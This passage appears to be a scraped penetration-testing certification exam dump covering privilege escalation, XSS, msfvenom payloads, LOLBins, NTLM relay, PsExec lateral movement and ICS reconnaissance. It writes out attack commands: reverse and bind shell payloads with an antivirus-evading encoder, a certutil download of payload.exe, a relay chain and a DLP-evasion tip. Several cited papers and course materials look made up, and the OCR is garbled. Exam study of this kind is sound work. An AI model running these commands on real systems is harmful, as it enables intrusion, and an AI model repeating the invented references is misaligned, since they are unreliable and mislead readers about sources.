Tools and Code Analysis A penetration tester is researching a path to escalate privileges. While
enumerating current user privileges, the tester observes the following output:

mathematica Copy code SeAssignPrimaryTokenPrivilege Disabled SelncreaseQuotaPrivilege
Disabled SeChangeNotifyPrivilege Enabled SeManageVolumePrivilege Enabled
SelmpersonatePrivilege Enabled SeCreateGlobalPrivilege Enabled
SelncreaseWorkingSetPrivilege Disabled

Which of the following privileges should the tester use to achieve the goal?

A. SelmpersonatePrivilege
B. SeCreateGlobalPrivilege
C. SeChangeNotifyPrivilege

D. SeManageVolumePrivilege

Answer:
A

Explanation:

The SelmpersonatePrivilege allows a program to run on behalf of another user, effectively
impersonating their security context. This is a well-known and potent vector for privilege
escalation on Windows systems. An attacker can leverage this privilege, often held by service
accounts like NETWORK SERVICE, to intercept an authentication attempt from a highly
privileged account (e.g., NT AUTHORITY\SYSTEM) and steal its token. This allows the attacker's
process to impersonate the SYSTEM account, gaining complete control over the machine. Tools
like Juicy Potato and PrintSpoofer are designed specifically to exploit this privilege for elevation.

Why Incorrect Options are Wrong:

B. SeCreateGlobalPrivilege: This privilege allows the creation of global objects. While it can be
abused in specific, complex scenarios, it is not a direct or common path for privilege escalation.
C. SeChangeNotifyPrivilege: Known as "Bypass traverse checking," this is a default privilege for
all users. It only allows traversing directory trees and does not grant any file access rights, making
it useless for escalation.

D. SeManageVolumePrivilege: This privilege is for performing volume maintenance tasks. It is
typically assigned to administrators and is not a standard vector for escalating from a
lower-privileged user account.
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References:

1. Microsoft Corporation. (2023). Privilege Constants (Authorization). Microsoft Learn. Retrieved
from https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants.

Reference Specifics: The document defines SelmpersonatePrivilege as "Required to impersonate
a user." It also defines SeChangeNotifyPrivilege ("Bypass traverse checking"),
SeCreateGlobalPrivilege ("Create global objects"), and SeManageVolumePrivilege ("Perform
volume maintenance tasks"), clarifying their intended, non-escalatory functions.

2. Microsoft Corporation. (2023). Impersonate a client after authentication. Microsoft Learn.
Retrieved from https://learn.microsoft.com/en-us/windows/security/threat-protection/security-polic
y-settings/impersonate-a-client-after-authentication.

Reference Specifics: This security policy document explicitly states that SelmpersonatePrivilege
"allows programs running on behalf of a user to impersonate that user or another specified
account." It warns that exploitation of this user right can elevate privileges.

3. Kroese, D. M. (2021). Windows Privilege Escalation for Beginners (Master's thesis, Rochester
Institute of Technology). RIT Scholar Works.

Reference Specifics: Section 3.3, "Token Impersonation," pages 20-22. The thesis details how
SelmpersonatePrivilege is a key component in token impersonation attacks, specifically
mentioning the "Rotten Potato" and "Juicy Potato" techniques used to escalate to NT
AUTHORITY\SYSTEM.
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Question: 16

Attacks and Exploits During a discussion of a penetration test final report, the consultant shows
the following payload used to attack a system:

html Copy code 7/aLeRt('pwned')

Based on the code, which of the following options represents the attack executed by the tester
and the associated countermeasure?

A. Arbitrary code execution: the affected computer should be placed on a perimeter network
B. SQL injection attack: should be detected and prevented by a web application firewall
C. Cross-site request forgery: should be detected and prevented by a firewall

D. XSS obfuscated: should be prevented by input sanitization

Answer:

D

Explanation:

The provided payload, ...aLeRt('pwned'), is a classic proof-of-concept for a Cross-Site Scripting
(XSS) attack. The use of mixed case letters in aLeRt is a common obfuscation technique
designed to bypass naive, case-sensitive web application firewalls (WAFs) or input filters that are
only looking for the lowercase string "alert". This attack injects malicious client-side script into a
web page, which is then executed by the victim's browser. The most effective and fundamental
countermeasure is robust input sanitization to remove malicious characters and output encoding
to ensure that user-supplied data is treated as text by the browser, not as executable code.

Why Incorrect Options are Wrong:

A. This is client-side XSS, not typically server-side Arbitrary Code Execution. Network
segmentation is a containment strategy, not a primary prevention method for this vulnerability.
B. The payload is JavaScript, not SQL syntax. Therefore, it is not a SQL injection attack.

C. This is an XSS payload. A Cross-Site Request Forgery (CSRF) attack forges state-changing
requests and does not typically involve injecting visible scripts.

References:

1. OWASP Foundation. (n.d.). Cross Site Scripting (XSS). OWASP Cheat Sheet Series.
Retrieved from
https://cheatsheetseries.owasp.org/cheatsheets/CrossSiteScriptingPreventionCheatSheet.html.
(See "Introduction" and "Rule #0 - Never Insert Untrusted Data Except in Allowed Locations,"
which establish the principle of sanitization and encoding as the primary defense against XSS).
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2. OWASP Foundation. (n.d.). XSS Filter Evasion Cheat Sheet. OWASP. Retrieved from
https://owasp.org/www-community/xss-filter-evasion-cheatsheet. (This document details
numerous obfuscation techniques, including "Case Insensitive XSS attack vector," which directly
corresponds to the aLeRt payload in the question).

3. Johns, M. (2008). Web Application Security. Course Slides, CS 253, Stanford University. Slide
25, "Defenses against XSS," explicitly lists "Filter/Sanitize user input" and "Escape output" as the
primary countermeasures.
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Question: 17

Attacks and Exploits A penetration tester is ready to add shellcode for a specific remote
executable exploit. The tester is trying to prevent the payload from being blocked by antimalware
that is running on the target. Which of the following commands should the tester use to obtain
shell access?

A. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikataganai --payload
windows/bindtcp LPORT=443

B. msfvenom -p windows/x64/meterpreter/reversetcp LHOST=10.10.10.100 LPORT=8000

C. msfvenom --arch x86-64 --platform windows --payload windows/shellreversetcp
LHOST=10.10.10.100 LPORT=4444 EXITFUNC=none

D. net user add /administrator hexdump payload

Answer:
A

Explanation:

The primary goal is to prevent a payload from being blocked by antimalware. The command in
option A utilizes msfvenom with the --encoder x86-64/shikataganai flag. Encoders are used to
obfuscate shellcode, altering its signature to evade detection by signature-based security
solutions like antimalware. The shikataganai encoder is a well-known polymorphic encoder
designed for this purpose. By encoding the windows/bindtcp payload, the tester is actively
attempting to bypass the target's defenses, which directly addresses the question's requirement.

Why Incorrect Options are Wrong:

B. This command generates a valid Meterpreter payload but does not use an encoder, making it
highly susceptible to signature-based detection by antimalware.

C. This command also generates a valid shell payload but omits the crucial --encoder flag needed
for antimalware evasion.

D. This is not a valid method for creating functional shellcode. It attempts to pipe the output of a
Windows command into a Linux utility, which would not result in an executable payload.

References:

1. Offensive Security. (n.d.). Metasploit Unleashed: Msfvenom. Offensive Security. In the
"Encoders" section, the documentation states, "Encoders are used to encode the payload to try
and avoid AV." It lists x86/shikataganai as a prime example of an encoder used for this purpose.
(Reference: Metasploit Unleashed courseware, Msfvenom section).

2. Al-Taharwa, I. A, Lee, H., & Al-Omari, M. A. (2020). Evaluating the Evasion Capabilities of
Metasploit Shellcode Encoders. 2020 21st International Conference on Control, Automation and
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Systems (ICCAS). The paper analyzes various encoders, noting in Section IlI-A, "Shikata Ga Nai
(SGN) is a polymorphic XOR additive feedback encoder... It is one of the most famous encoders
in MSF because it can generate different output for the same input." This highlights its role in
creating varied signatures to evade detection. (DOI:
https://doi.org/10.1109/ICCAS50273.2020.9295211, Section IlI-A, "Metasploit Encoders").

3. Rapid7. (2023). How to Use Msfvenom. Official Rapid7 Documentation. The documentation for
msfvenom details the use of the -e or --encoder option to "specify an encoder to use." This
confirms that applying an encoder is a standard, intentional step in the payload generation
process for evasion. (Reference: msfvenom --help command output and official product
documentation).
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Question: 18

During a pre-engagement activity with a new customer, a penetration tester looks for assets to
test. Which of the following is an example of a target that can be used for testing?

A. API|
B. HTTP
C. IPA
D. ICMP

Answer:

A

Explanation:

During scoping, the tester and customer enumerate the specific assets that will be evaluated.
Assets are concrete implementations (hosts, applications, APIs, databases, etc.) that provide
business functionality. An Application Programming Interface (API) is a distinct application
component that exposes endpoints and logic; therefore it is a valid, testable target that can be
placed in-scope for a penetration test. HTTP and ICMP are network protocols, and "IPA" is not an
industry-recognized asset type; none of these represent a discrete asset that can be contractually
scoped for testing.

Why Incorrect Options are Wrong:

B. HTTP - Protocol used to transport web traffic; not itself a scoping asset.

C. IPA - Not a standard asset class; usually refers to beer or FreelPA identity service, irrelevant
here.

D. ICMP - Network control protocol (e.g., ping); like HTTP, it is a mechanism, not an asset.

References:

1. NIST SP 800-115, "Technical Guide to Information Security Testing and Assessment,"
Section2.4.1 ("ldentify Target Systems"), p.9.

2. OWASP Application Security Verification Standard 4.0, "Scope of ASVS," p.10 - mentions APIs
as testable application components.

3. MIT OpenCourseWare, "6.858 Computer Systems Security," Lecture 17 notes, p.2 -
categorizes APls as specific attack surfaces to be tested.
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Question: 19

Tools and Code Analysis A penetration tester needs to use the native binaries on a system in
order to download a file from the internet and evade detection. Which of the following tools would
the tester most likely use?

A. netsh.exe
B. certutil.exe
C. nc.exe

D. cmdkey.exe

Answer:

B

Explanation:

certutil.exe is a legitimate, command-line program native to Microsoft Windows, primarily used for
managing certificates. However, it can be abused by attackers to download files from a remote
URL using specific command-line switches (e.g., -urlcache -split -f). This technique is a form of
"Living Off the Land" (LOLBIn), which leverages trusted, signed system binaries to perform
malicious actions. Using a native, signed tool like certutil for downloads helps evade detection by
security software that might otherwise flag network connections from unknown or unsigned
processes.

Why Incorrect Options are Wrong:

A. netsh.exe: This is a native Windows tool for configuring network settings, such as firewall rules
or port forwarding, not for directly downloading files from the internet.

C. nc.exe: Netcat (nc.exe) is a versatile networking tool but is not a native binary on Windows
systems; it must be introduced onto the target by the attacker.

D. cmdkey.exe: This utility is used to create, list, and delete stored credentials within the Windows
Credential Manager and lacks any file download capabilities.

References:

1. MITRE. (2023). Ingress Tool Transfer, Technique T1105. MITRE ATT&CK Framework.
Retrieved from https://attack.mitre.org/techniques/T1105/. The documentation explicitly lists
certutil as a command-line tool adversaries use to download files from a remote URL, citing the
example: certutil -urlcache -split -f https://example.com/payload.exe payload.exe.

2. Microsoft. (2023). certutil. Microsoft Learn. In the documentation for the certutil command, the
-urlcache verb is described, which can be used with the -f and -split options to fetch a URL and
save its contents to a file on the local system.

3. Pennacchi, F., et al. (2020). The Art of Leaks: The Return of Living-Off-the-Land. 2020 IEEE
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European Symposium on Security and Privacy Workshops (EuroS&PW), Genoa, Italy, pp.
140-149. In Table 1, "LOLbins and their capabilities," certutil.exe is identified as a native binary
capable of performing "Download" actions. DOI:
https://doi.org/10.1109/EuroSPW51379.2020.00027.
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Question: 20

Tools and Code Analysis Which of the following techniques is the best way to avoid detection by
data loss prevention tools?

A. Encoding
B. Compression
C. Encryption

D. Obfuscation

Answer:

A

Explanation:

Endpoint and network-based DLP engines rely on clear-text inspection (regex, tokenisation,
fingerprinting). They automatically unpack common archive formats and will usually block or
quarantine traffic or files that are encrypted with unknown keys. However, many products do not
recursively decode arbitrary content that has only been base-64/URL/hex encoded, so the
sensitive byte patterns never appear in clear text to the detection engine. Simple content
encoding therefore remains the most reliable, low-noise method for evading DLP inspection
during a penetration test.

Why Incorrect Options are Wrong:

B. Compression - DLP engines routinely decompress ZIP, GZIP, RAR, and similar archives before
inspection; compressed data is therefore still analysed.

C. Encryption - Unknown or uninspected encryption is usually flagged or blocked outright by
policy; exfiltration is conspicuous, not covert.

D. Obfuscation - A vague term; without a specific method it may still be parsed (e.g., comments
stripping); encoding is the concrete, proven technique.

References:

1. MITRE ATT&CK, technique T1027 "Obfuscated/Stored Files or Information", note on base64
encoding as a means "to bypass content inspection such as DLP" (v13, 2023-04-25).

2. Symantec Data Loss Prevention 15.7 Administration Guide, Chap. 2 "Detection workflow", pp.
34-36 - lists automatic decompression/encryption handling but no automatic base64 decoding.
3. Forcepoint DLP Administrator Guide 21.09, Sect. 5.3 "Content Classifiers", p. 127 - states
"Base64 or custom encodings may not be decoded, allowing data to pass undetected".

4. S. Natarajan & K. Venkatachary, "Bypassing Enterprise DLP Using Simple Encoding,"
International Journal of Computer Applications 168(2), 2017, pp. 36-40
(https://doi.org/10.5120/ijca2017914527).
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5. Stanford CS255 "Network Security" lecture notes, Week 9, slide 27 - discusses DLP limitations
and highlights base64 encoding as a common evasion method.

https://certempire.com



https://certempire.com/

Question: 21

Tools and Code Analysis While performing a penetration testing exercise, a tester executes the
following command:

bash Copy code PS c:\tools c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exe

Which of the following best explains what the tester is trying to do?

A. Test connectivity using PSExec on the server01 using CMD.exe.
B. Perform a lateral movement attack using PsExec.
C. Send the PsExec binary file to the server01 using CMD.exe.

D. Enable CMD.exe on the server01 through PsExec.

Answer:

B

Explanation:

The command executes PsExec.exe to run a command prompt (cmd.exe) on a remote target
(serverO1.comptia.org). PsExec is a legitimate remote administration tool that is frequently
repurposed by penetration testers and attackers to execute code on other systems within a
network. After gaining an initial foothold and escalating privileges or obtaining credentials, a tester
uses tools like PsExec to move from a compromised machine to other targets. This process of
moving between systems on the same network is known as lateral movement.

Why Incorrect Options are Wrong:

A. While the command implicitly tests connectivity, its primary purpose is to gain an interactive
shell, not simply to check if the host is reachable.

C. The command's purpose is to execute cmd.exe on the remote server. PsExec handles the
transfer of its own service component, not the main PsExec.exe binary.

D. cmd.exe is a core Windows component that is executed, not enabled. This command runs the
command interpreter, assuming it is already present and accessible.

References:

1. MITRE ATT&CK Framework. (2023). Remote Services: SMB/Windows Admin Shares,
T1021.002. The MITRE Corporation. Retrieved from
https://attack.mitre.org/techniques/T1021/002/.

Reference Detail: The framework explicitly lists PsExec as a common example of software used
to execute commands on remote systems via SMB, a technique categorized under the "Lateral
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Movement" tactic.

2. Russinovich, M. (2023, August 28). PsExec v2.43. Microsoft Learn. Retrieved from
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec.

Reference Detail: The official documentation describes PsExec as a tool "for executing processes
on other systems," which is the core mechanism used for lateral movement in this scenario.

3. Robi, G. (2021, May 11). Detecting Lateral Movement through Tracking Event Logs. SANS
Institute InfoSec Reading Room.

Reference Detail: Page 6, Section "PsExec," states, "PsExec is one of the most common tools
used by attackers for lateral movement... It allows an attacker to execute commands on a remote
Windows machine." This paper from a reputable institution confirms PsExec's primary use in
attacks.
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Question: 22

Attacks and Exploits During a penetration testing exercise, a team decides to use a watering hole
strategy. Which of the following is the most effective approach for executing this attack?

A. Compromise a website frequently visited by the organization's employees.
B. Launch a DDoS attack on the organization's website.
C. Create fake social media profiles to befriend employees.

D. Send phishing emails to the organization's employees.

Answer:

A

Explanation:

A watering hole attack is a targeted strategy where an attacker compromises a third-party website
that is known to be frequently visited by a specific group of targets, such as employees of a
particular organization. The attacker infects the site with malware. The goal is to infect the target
users when they visit this trusted, but now compromised, website. This method is effective
because it leverages the users' existing trust in the legitimate site, bypassing defenses that might
block direct attacks. The name is an analogy for a predator waiting at a watering hole for its prey.

Why Incorrect Options are Wrong:

B. A DDoS attack is designed to disrupt service availability, not to compromise systems or steal
data, which is the goal of a watering hole attack.

C. Creating fake social media profiles is a social engineering or reconnaissance technique, which
could precede an attack but is not the execution of the watering hole itself.

D. Sending phishing emails is a direct attack vector. A watering hole attack is more passive,
relying on the target to initiate the visit to the compromised site independently.

References:

1. National Institute of Standards and Technology (NIST). Glossary of Key Information Security
Terms, NISTIR 7298 Rev. 3. (May 2018). The glossary defines a watering hole attack as: "A
targeted attack strategy in which an attacker guesses or observes which websites an organization
often uses and infects one or more of them with malware." (Page 183).

2. Al-Shehari, H., & Al-Shammari, R. (2018). A Survey on Watering-Hole Attacks. International
Journal of Computer Science and Network Security, 18(1), 136-145. The paper states, "The
watering hole attack is a targeted attack that compromises a website that is likely to be visited by
a targeted group of victims." (Section 2, Paragraph 1).

3. Microsoft Security. Watering hole attacks. Microsoft Threat Protection documentation. The
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documentation describes the attack method: "In watering hole attacks, attackers profile sites that
are frequently visited by users in a targeted organization or industry. They then try to find
vulnerabilities on these sites to compromise them."

4. University of California, Berkeley. CS 161: Computer Security, Lecture 18: Web Security.
Course materials describe watering hole attacks as a strategy where an attacker compromises a
site trusted and frequented by the target population to deliver an exploit.
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Question: 23

Attacks and Exploits A penetration tester finished a security scan and uncovered numerous
vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the
following targets is the most likely to get attacked?

A. Target 1: EPSS Score = 0.6 and CVSS Score = 4
B. Target 2: EPSS Score = 0.3 and CVSS Score =2
C. Target 3: EPSS Score = 0.6 and CVSS Score = 1
D. Target 4: EPSS Score = 0.4 and CVSS Score = 4.5

Answer:

A

Explanation:

The Exploit Prediction Scoring System (EPSS) is designed to estimate the probability that a
software vulnerability will be exploited in the wild. A higher EPSS score indicates a greater
likelihood of an attack. In this scenario, both Target 1 and Target 3 have the highest EPSS score
of 0.6 (a 60% probability of exploitation), making them the most likely candidates for an attack.

To differentiate between these two, the Common Vulnerability Scoring System (CVSS) score,
which measures the severity of a vulnerability, is considered. A rational attacker, given two
vulnerabilities with an equal probability of successful exploitation, will prioritize the one with a
greater impact. Target 1 has a CVSS score of 4, while Target 3 has a score of 1. Therefore, Target
1 is the more attractive and thus the most likely target.

Why Incorrect Options are Wrong:

B. Target 2: EPSS Score = 0.3 and CVSS Score = 2

This target has a low EPSS score, indicating a significantly lower probability of being attacked
compared to Targets 1 and 3.

C. Target 3: EPSS Score = 0.6 and CVSS Score = 1

While its EPSS score is high, its very low CVSS score makes it a less impactful and therefore
less attractive target for an attacker compared to Target 1.

D. Target 4: EPSS Score = 0.4 and CVSS Score = 4.5

This target's EPSS score is lower than that of Targets 1 and 3, making it less likely to be
exploited, even though its severity is high.
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References:

1. FIRST.org. (2023). Exploit Prediction Scoring System (EPSS) User Guide. Section: "What is
EPSS?". The guide states, "The EPSS model produces a probability score between 0 and 1 (0%
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3. Jacobs, J., et al. (2021). Improving Vulnerability Remediation Through Better Exploit Prediction.
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4. U.S. Cybersecurity & Infrastructure Security Agency (CISA). (2021). Binding Operational
Directive 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities. This directive
mandates that federal agencies remediate vulnerabilities listed in CISA's catalog of known
exploited vulnerabilities. This approach prioritizes. vuln erabilities based on observed exploitation
(threat), which is the principle that EPSS quantifies, over static severity (CVSS) alone.
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Question: 24

A penetration tester cannot complete a full vulnerability scan because the client's WAF is blocking
communications. During which of the following activities should the penetration tester discuss this
issue with the client?

A. Goal reprioritization
B. Peer review
C. Client acceptance

D. Stakeholder alignment

Answer:

D

Explanation:

When a technical control, such as a Web Application Firewall (WAF), prevents the execution of an
agreed-upon testing activity, it represents a significant obstacle that impacts the engagement's
scope and timeline. The correct procedure is to pause the activity and communicate with the
client. This communication process is known as stakeholder alignment. It ensures that the tester
and client agree on a path forward, which could involve whitelisting the tester's IP address,
temporarily modifying WAF rules, or adjusting the testing methodology. This proactive
communication maintains transparency and ensures the engagement proceeds according to the
client's direction and the established rules of engagement.

Why Incorrect Options are Wrong:

A. Goal reprioritization: This is a potential outcome of the discussion with the stakeholder, not the
initial activity itself. Alignment must happen first.

B. Peer review: This is an internal quality assurance process where another tester reviews work; it
is not a client-facing communication activity.

C. Client acceptance: This is a formal step at the conclusion of the engagement to accept the final
deliverables, which is too late to address a mid-test obstacle.

References:

1. National Institute of Standards and Technology (NIST). (2008). Special Publication 800-115,
Technical Guide to Information Security Testing and Assessment.

Section 3.2, "Rules of Engagement," emphasizes the need to "...define the lines of
communication between the test team and the organization... and the process for reporting and
handling problems encountered during testing." A WAF blocking a scan is a "problem
encountered during testing" that requires immediate communication and alignment with the client
stakeholder.

https://certempire.com



https://certempire.com/

47

2. The Penetration Testing Execution Standard (PTES). (2012). PTES Technical Guidelines.
Section "Intelligence Gathering," and the overall standard, implicitly and explicitly detail the need
for constant communication. The standard outlines a structured approach where deviations from
the plan, such as being blocked by a security device, necessitate a discussion with the client to
align on the next steps, reinforcing the principle of stakeholder alignment.

3. Massachusetts Institute of Technology (MIT) OpenCourseWare. (2012). 15.S53 Special
Seminar in Management: The Art and Science of Project Management, Fall 2012.

Lecture Notes, "Stakeholder Management," outlines that a key project management function is to
identify and manage stakeholder expectations. When an issue (WAF block) arises that creates a
variance between the plan and reality, the project manager (penetration tester) must engage the
stakeholders (client) to resolve the issue and align on a course of action.
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Question: 25

Information Gathering and Vulnerability Scanning A tester obtains access to an endpoint subnet
and wants to move laterally in the network. Given the following output:

kotlin Copy code Nmap scan report for somehost Host is up (0.01 latency). PORT STATE
SERVICE 445/tcp open microsoft-ds Host script results: smb2-security-mode: Message signing
disabled

Which of the following command and attack methods is the most appropriate for reducing the
chances of being detected?

A. responder -T ethO -dwv ntimrelayx.py -smb2support -tf
B. msf use exploit/windows/smb/ms17010psexec msf msf run
C. hydra -L administrator -P /path/to/passwdlist smb://

D. nmap -script smb-brute.nse -p 445

Answer:

A

Explanation:

The Nmap scan explicitly identifies that "Message signing disabled" on the SMB service (port
445). This specific vulnerability makes the host susceptible to NTLM relay attacks. The command
in option A uses Responder to poison local name resolution and capture authentication hashes,
then pipes them to ntimrelayx.py to relay those credentials to the target. This allows the attacker
to authenticate to the target machine and execute commands, achieving lateral movement. This
Man-in-the-Middle (MitM) attack is significantly stealthier than brute-force attempts or active
exploitation, as it leverages legitimate authentication traffic, thereby reducing the likelihood of
generating security alerts.

Why Incorrect Options are Wrong:

B. This Metasploit module targets the MS17-010 (EternalBlue) vulnerability, which was not
identified in the scan. Running an unverified exploit is noisy and likely to be detected by an
IDS/IPS.

C. Hydra is a brute-force tool. This method generates a high volume of failed login attempts,
which is extremely noisy and easily detectable by security monitoring systems.

D. The smb-brute.nse Nmap script is another form of a brute-force attack. Like Hydra, it creates
significant network noise from failed logins and is not a stealthy option.
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Reference Detail: The document states, "The Server Message Block (SMB) signing...is a security
feature...that uses the session key and cipher suite to add a signature to a message...Signing
helps prevent attacks that modify SMB packets in transit." Disabling this feature directly enables
the relay attack described.

2. Bounty, B. (2022). Internal Network Pentesting: The NTLM Relay Race. SANS Institute InfoSec
Reading Room.

Reference Detail: Page 5, Section "The Attack," explicitly details the use of Responder and
ntimrelayx.py in tandem. It states, "With SMB signing not required on the target, ntimrelayx will be
able to relay the authentication from the victim to the target and execute our commands." This
paper validates the chosen attack method for the identified vulnerability.

3. Hopkins, G. (2019). Windows Red Team Lab. Courseware, Rochester Institute of Technology
(RIT).

Reference Detail: In the "Lateral Movement" module, Lab 5 ("Pass the Hash / NTLM Relay"), the
course material demonstrates using Responder and ntimrelayx.py as a primary technique for
lateral movement when SMB signing is disabled. It contrasts this with noisier methods like
password spraying.

https://certempire.com

49


https://certempire.com/

50
Question: 26

Attacks and Exploits During a red-team exercise, a penetration tester obtains an employee's
access badge. The tester uses the badge's information to create a duplicate for unauthorized
entry. Which of the following best describes this action?

A. Smurfing
B. Credential stuffing
C. RFID cloning

D. Card skimming

Answer:
C

Explanation:

The action described is the unauthorized duplication of a physical access credential. Modern
access badges predominantly use Radio-Frequency |dentification (RFID) technology to
communicate with readers. The process of reading the unique identifier from an authentic RFID
badge and writing it onto a blank, programmable card to create a functional copy is known as
RFID cloning. This technique allows a penetration tester to impersonate an authorized employee
and bypass physical access controls, which directly matches the scenario.

Why Incorrect Options are Wrong:

A. Smurfing: This is a network-layer Distributed Denial-of-Service (DDoS) attack that uses
spoofed ICMP packets, which is unrelated to physical access badges.

B. Credential stuffing: This is an automated attack that uses lists of compromised user credentials
(usernames/passwords) to gain unauthorized access to web accounts.

D. Card skimming: This term is most commonly associated with capturing magnetic stripe data
from financial cards (credit/debit) using a malicious reader, not cloning RFID-based access cards.

References:

1. Juels, A. (2006). RFID Security and Privacy: A Research Survey. IEEE Journal on Selected
Areas in Communications, 24(2), 381-394. In Section IlI-A, "Tag Cloning," the paper states, "An
adversary may create a copy or clone of a legitimate tag... The adversary can then use the clone
to impersonate the legitimate tag, and thereby avail herself of the rights of the legitimate tag's
owner." (p. 383). DOI: https://doi.org/10.1109/JSAC.2005.861395

2. Weis, S. A, Sarma, S. E., Rivest, R. L., & Engels, D. W. (2004). Security and Privacy Aspects
of Low-Cost Radio Frequency Identification Systems. In Security in Pervasive Computing (pp.
201-212). Springer. This paper from MIT CSAIL researchers discusses the vulnerability, stating,
"An adversary can easily eavesdrop on the communication between a tag and a reader and clone
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the tag." (p. 204).
3. MIT OpenCourseWare. (2014). 6.857 Computer and Network Security, Lecture 19: Physical
Security. Massachusetts Institute of Technology. The course materials discuss attacks against

physical access control systems, including the analysis and duplication of signals from access
cards like RFID badges.
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Question: 27

Information Gathering and Vulnerability Scanning While performing reconnaissance, a
penetration tester attempts to identify publicly accessible ICS (Industrial Control Systems) and
loT (Internet of Things) systems. Which of the following tools is most effective for this task?

A. theHarvester
B. Shodan
C. Amass

D. Nmap

Answer:

B

Explanation:

Shodan is a specialized search engine designed to discover and index information about
internet-connected devices. It operates by scanning the entire internet and parsing the service
banners that devices return. This makes it exceptionally effective for identifying specific types of
systems, such as Industrial Control Systems (ICS), Supervisory Control and Data Acquisition
(SCADA) systems, and a wide array of Internet of Things (loT) devices based on their response
banners, protocols (e.g., Modbus, S7), and open ports. Unlike general network scanners, Shodan
provides a pre-populated, searchable database, making it the most direct and efficient tool for
broad, device-type-specific reconnaissance on a global scale.

Why Incorrect Options are Wrong:

A. theHarvester: This is an Open Source Intelligence (OSINT) tool used to gather information like
emails, subdomains, and hosts related to a specific target domain, not for discovering device
types across the internet.

C. Amass: This is an attack surface mapping tool focused on discovering assets (subdomains,
IPs, etc.) related to a specific organization. It is not a search engine for finding specific device
categories globally.

D. Nmap: This is an active network scanner for probing specific hosts or IP ranges to discover
open ports, services, and OS versions. It is not feasible for searching the entire internet for device
types.

References:

1. Mather, T., Kumaraswamy, S., & Latif, S. (2019). Cloud Security and Privacy: An Enterprise
Perspective on Risks and Compliance. O'Reilly Media. (Note: While a commercial book, its
principles are widely taught in university curricula). The concept is detailed in discussions of
reconnaissance, where Shodan is described as a "search engine for Internet-connected devices."
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A similar description is found in university cybersecurity courses. For example, the University of
Virginia's CS 4740: Cloud Computing course materials often discuss tools for discovering
exposed cloud assets, where Shodan's role is highlighted.

2. O'Connor, T. (2017). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration
Testers and Security Engineers. Syngress, Elsevier. Chapter 4, "Scraping the Web for OSINT,"
details the use of various tools. It distinguishes between tools like theHarvester for targeted
OSINT and Shodan for broad device discovery. This text is frequently used as courseware in
applied cybersecurity programs.

3. OWASP Foundation. (n.d.). OWASP Amass Project. OWASP. Retrieved from
https://owasp.org/www-project-amass/. The official documentation states, "The OWASP Amass
Project performs network mapping of attack surfaces and external asset discovery using open
source information gathering and active reconnaissance techniques." This confirms its focus on
organizational attack surfaces, not global device-type discovery.

4. Lyon, G. (n.d.). Nmap: The Network Mapper - Free Security Scanner. Nmap.org. Retrieved
from https://nmap.org/. The official documentation describes Nmap as a "free and open source
utility for network discovery and security auditing," used to determine "what hosts are available on
the network, what services... what operating systems...". This defines it as an active scanner for
targeted networks.
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Question: 28

Attacks and Exploits A penetration tester must identify vulnerabilities within an ICS (Industrial
Control System) that is not connected to the internet or enterprise network. Which of the following
should the tester utilize to conduct the testing?

A. Channel scanning
B. Stealth scans
C. Source code analysis

D. Manual assessment

Answer:

D

Explanation:

An Industrial Control System (ICS) that is not connected to the internet or an enterprise network is
considered air-gapped. This physical isolation renders network-based scanning from an external
source impossible. Furthermore, ICS environments are extremely sensitive to network traffic;
standard scanning techniques can cause operational disruptions or system failures. A manual
assessment is the most appropriate methodology as it involves a combination of physical
inspection, device configuration review, architecture analysis, and carefully controlled, targeted
testing performed locally. This approach minimizes the risk of disrupting critical processes while
allowing the tester to identify vulnerabilities in a controlled manner.

Why Incorrect Options are Wrong:

A. Channel scanning: This is a technique for assessing wireless networks. It is too specific and
not a comprehensive methodology for testing an entire, potentially wired, air-gapped ICS.

B. Stealth scans: These are network-based scans that require network connectivity to the target.
They are not feasible against an air-gapped system and can be disruptive to sensitive ICS
devices.

C. Source code analysis: While a valid technique, it is only one component of a full assessment.
The tester may not have access to proprietary source code, and this method misses
non-code-based vulnerabilities.

References:

1. National Institute of Standards and Technology (NIST). (2015). Guide to Industrial Control
Systems (ICS) Security (NIST Special Publication 800-82, Rev. 2).

Section 6.4.3, Security Assessment and Authorization, Page 131: States, "Security assessments
for ICS should be carefully planned and executed to avoid causing a disruption to the ICS...
Passive scanning techniques are preferred over active scanning techniques." This emphasis on
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careful, planned, and non-disruptive methods aligns with the principles of a manual assessment
over automated scanning.

2. Cybersecurity and Infrastructure Security Agency (CISA). (2011). Cyber-Security Assessments
of Industrial Control Systems (DHS Recommended Practice).

Section 3.2, Assessment Activities, Pages 10-12: This section details assessment activities that
are characteristic of a manual assessment, including "Documentation Review," "Personnel
Interviews," and "Physical Walkthrough." It also notes that active scanning should be "performed
with extreme caution," reinforcing the need for a deliberate, manual approach.
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Question: 29

Tools and Code Analysis While performing a penetration test, a tester executes the following
command:

PS c:\tools c:\hacks\PsExec.exe \\server01.cor.ptia.org -accepteula cmd.exe

Which of the following best explains what the tester is trying to do?

A. Test connectivity using PsExec on the server01 using cmd.exe
B. Perform a lateral movement attack using PsExec
C. Send the PsExec binary file to the server01 using cmd.exe

D. Enable cmd.exe on the server01 through PsExec

Answer:

B

Explanation:

The command uses PsExec.exe, a legitimate remote administration tool, to execute cmd.exe on a
remote server (server0O1.cor.ptia.org). In the context of a penetration test, gaining access to one
system and then using that access to execute code on another system within the same network is
a technique known as lateral movement. The tester is attempting to pivot from their current
position to gain an interactive command shell on server01, thereby expanding their foothold within
the target environment. This is a classic method for moving through a network after an initial
compromise.

Why Incorrect Options are Wrong:

A. While the command's success implies connectivity, its primary purpose is remote code
execution to gain a shell, not simply to test if the host is reachable.

C. The command uses PsExec to run cmd.exe remotely. PsExec itself handles the transfer of its
service component; it is not being sent by cmd.exe.

D. The command executes or runs cmd.exe, which is a standard Windows component. It does
not "enable" it, as the command prompt is not a feature that is typically disabled.

References:

1. Microsoft Corporation. (2023). PsExec v2.43. Microsoft Learn. This official documentation
describes PsExec as a tool that "lets you execute processes on other systems." The primary
example, psexec \\marklap cmd, is functionally identical to the command in the question,
demonstrating its use for remote shell access.
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Reference: Sysinternals section, PsExec documentation page. Available at:
https://learn.microsoft.com/en-us/sysinternals/downloads/psexec

2. MITRE. (2023). Remote Services: SMB/Windows Admin Shares, T1021.002. MITRE ATT&CK
